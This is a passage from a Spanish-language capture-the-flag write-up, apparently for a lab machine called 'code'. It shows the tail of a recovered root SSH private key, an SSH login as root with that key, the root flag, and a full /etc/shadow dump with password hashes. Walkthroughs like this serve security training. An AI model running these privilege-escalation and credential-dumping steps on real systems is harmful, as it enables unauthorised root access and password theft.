Ps1B4EIx+ZlBVaFbIaqxpqDVDUCv0qpaxIKhx/lKmwXiWEQIie0fXorLDqsjL75M7tY/u/
M7xBuGl+LHGNBnCsvjLvIA6fL99uV+BTKrpHhgV9AAAFgCNrkTMja5EzAAAAB3NzaC1yc2
EAAAGBAL8T8PdFUSWo4JI8MWal6/OuVfB3vxzR1ZYadAj9+jrCkotA8yGeCrKn404v1gEX
MS03uJZFUlSFduS8uTOhHplnjigOr3TjT9EFL+hdcY/H+Hgoa3aewToUXtPs1iZ2vHWDLb
kditAsW3XfqrzO6ECz0XpUCMsaEeLp4esDqCH+BC9+GhL0A7sftxrBVJ0+GDDZYwLMclRZ
95s0e51GfAQB/2PcVfyrjUjw+EpVagYlI1Cn7NsA94IywOGUGXjOYQCUplXmY6X5EDnRPv
vh/Ldj/KhpaGy726GSdq4IWPQsIpl9P4NLh73KVwHOlPCSaqPVONVs6KAIuk1sVmG3Tt5o
yYZtLLpwoqOcU7XOODNJ24ZEUAZYj54GgWJXinb7RonDyW9S7Y7ROZR6cvjT7NQeBCMfmZ
QVWhWyGqsaag1Q1Ar9KqWsSCocf5SpsF4lhECIntH16Kyw6rIy++TO7WP7vzO8Qbhpfixx
jQZwrL4y7yAOny/fblfgUyq6R4YFfQAAAAMBAAEAAAGBAJZPN4UskBMR7+bZVvsqlpwQji
Yl7L7dCimUEadpM0i5+tF0fE37puq3SwYcdzpQZizt4lTDn2pBuy9gjkfg/NMsNRWpx7gp
gIYqkG834rd6VSkgkrizVck8cQRBEI0dZk8CrBss9B+iZSgqlIMGOIl9atHR/UDX9y4LUd
6v97kVu3Eov5YdQjoXTtDLOKahTCJRP6PZ9C4Kv87l0D/+TFxSvfZuQ24J/ZBdjtPasRa4
bDlsf9QfxJQ1HKnW+NqhbSrEamLb5klqMhb30SGQGa6ZMnfF8G6hkiJDts54jsmTxAe7bS
cWnaKGOEZMivCUdCJwjQrwk0TR/FTzzgTOcxZmcbfjRnXU2NtJiaA8DJCb3SKXshXds97i
vmNjdD59Py4nGXDdI8mzRfzRS/3jcsZm11Q5vg7NbLJgiOxw1lCSH+TKl7KFe0CEntGGA9
QqAtSC5JliB2m5dBG7IOUBa8wDDN2qgPN1TR/yQRHkB5JqbBWJwOuOHSu8qIR3FzSiOQAA
AMEApDoMoZR7/CGfdUZyc0hYB36aDEnC8z2TreKxmZLCcJKy7bbFlvUT8UX6yF9djYWLUo
kmSwffuZTjBsizWwAFTnxNfiZWdo/PQaPR3l72S8vA8ARuNzQs92Zmqsrm93zSb4pJFBeJ
9aYtunsOJoTZ1UIQx+bC/UBKNmUObH5B14+J+5ALRzwJDzJw1qmntBkXO7e8+c8HLXnE6W
SbYvkkEDWqCR/JhQp7A4YvdZIxh3Iv+71O6ntYBlfx9TXePa1UAAAAwQD45KcBDrkadARG
vEoxuYsWf+2eNDWa2geQ5Po3NpiBs5NMFgZ+hwbSF7y8fQQwByLKRvrt8inL+uKOxkX0LM
cXRKqjvk+3K6iD9pkBW4rZJfr/JEpJn/rvbi3sTsDlE3CHOpiG7EtXJoTY0OoIByBwZabv
1ZGbv+pyHKU5oWFIDnpGmruOpJqjMTyLhs4K7X+1jMQSwP2snNnTGrObWbzvp1CmAMbnQ9
vBNJQ5xW5lkQ1jrq0H5ugT1YebSNWLCIsAAADBAMSIrGsWU8S2PTF4kSbUwZofjVTy8hCR
lt58R/JCUTIX4VPmqD88CJZE4JUA6rbp5yJRsWsIJY+hgYvHm35LAArJJidQRowtI2/zP6
/DETz6yFAfCSz0wYyB9E7s7otpvU3BIuKMaMKwt0t9yxZc8st0cev3ikGrVa3yLmE02hYW
j6PbYp7f9qvasJPc6T8PGwtybdk0LdluZwAC4x2jn8wjcjb5r8LYOgtYI5KxuzsEY2EyLh
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY-----
martin@code:/dev/shm$

Shell

Utilizamos la clave privada en SSH localmente logrando acceder como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
martin@code:/dev/shm$ ssh -i root/.ssh/id_rsa root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:wcpzQ27q1PPcFiXmhGkHdA6ITYNq/zMfdEmqcYSjj8Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun 23 Mar 2025 06:01:02 AM UTC

  System load:           0.01
  Usage of /:            66.3% of 5.33GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             269
  Users logged in:       1
  IPv4 address for eth0: 10.10.11.62
  IPv6 address for eth0: dead:beef::250:56ff:feb9:7a08


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Mar 23 06:01:03 2025 from 127.0.0.1
root@code:~# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@code:~# pwd
/root
root@code:~# ls
root.txt  scripts
root@code:~# cat root.txt
aa2d5ed15c376803a759024723a1c824
root@code:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
root@code:~# cat /etc/shadow
root:$6$UHZYd6beZ0z/jb9q$9dEz/1pi4fnVirs9VuURIvU0X/PO321dFctbLr3EBeeii31EZ7OjetlzaiHMZa5HC6jJEN5FWLva/oisCnc4D1:19931:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19929:0:99999:7:::
sshd:*:19929:0:99999:7:::
systemd-coredump:!!:19930::::::
lxd:!:19930::::::
app-production:$6$HjHAfjyM/2n2iItl$.So3HPNRtfPFQlcRvRPYpVzro48elIVza8GdeOVIzd47zJLP7QibwcVh8NIUxttofJiBGS1b36tiVuNoaEyMU0:19931:0:99999:7:::
martin:$6$wSHwZeJrAIh31tGN$1aAHjOgCNDWuEOpzMydwUp4GbiguXz02L8i8YBC.yd7YQ4BZbOr/VMBjzzjTdMVoAnr37omZ/HJXMy.JBIfZ3.:19962:0:99999:7:::
_laurel:!:20143::::::
root@code:~#
Share on

Dany Sucuc
WRITTEN BY
sckull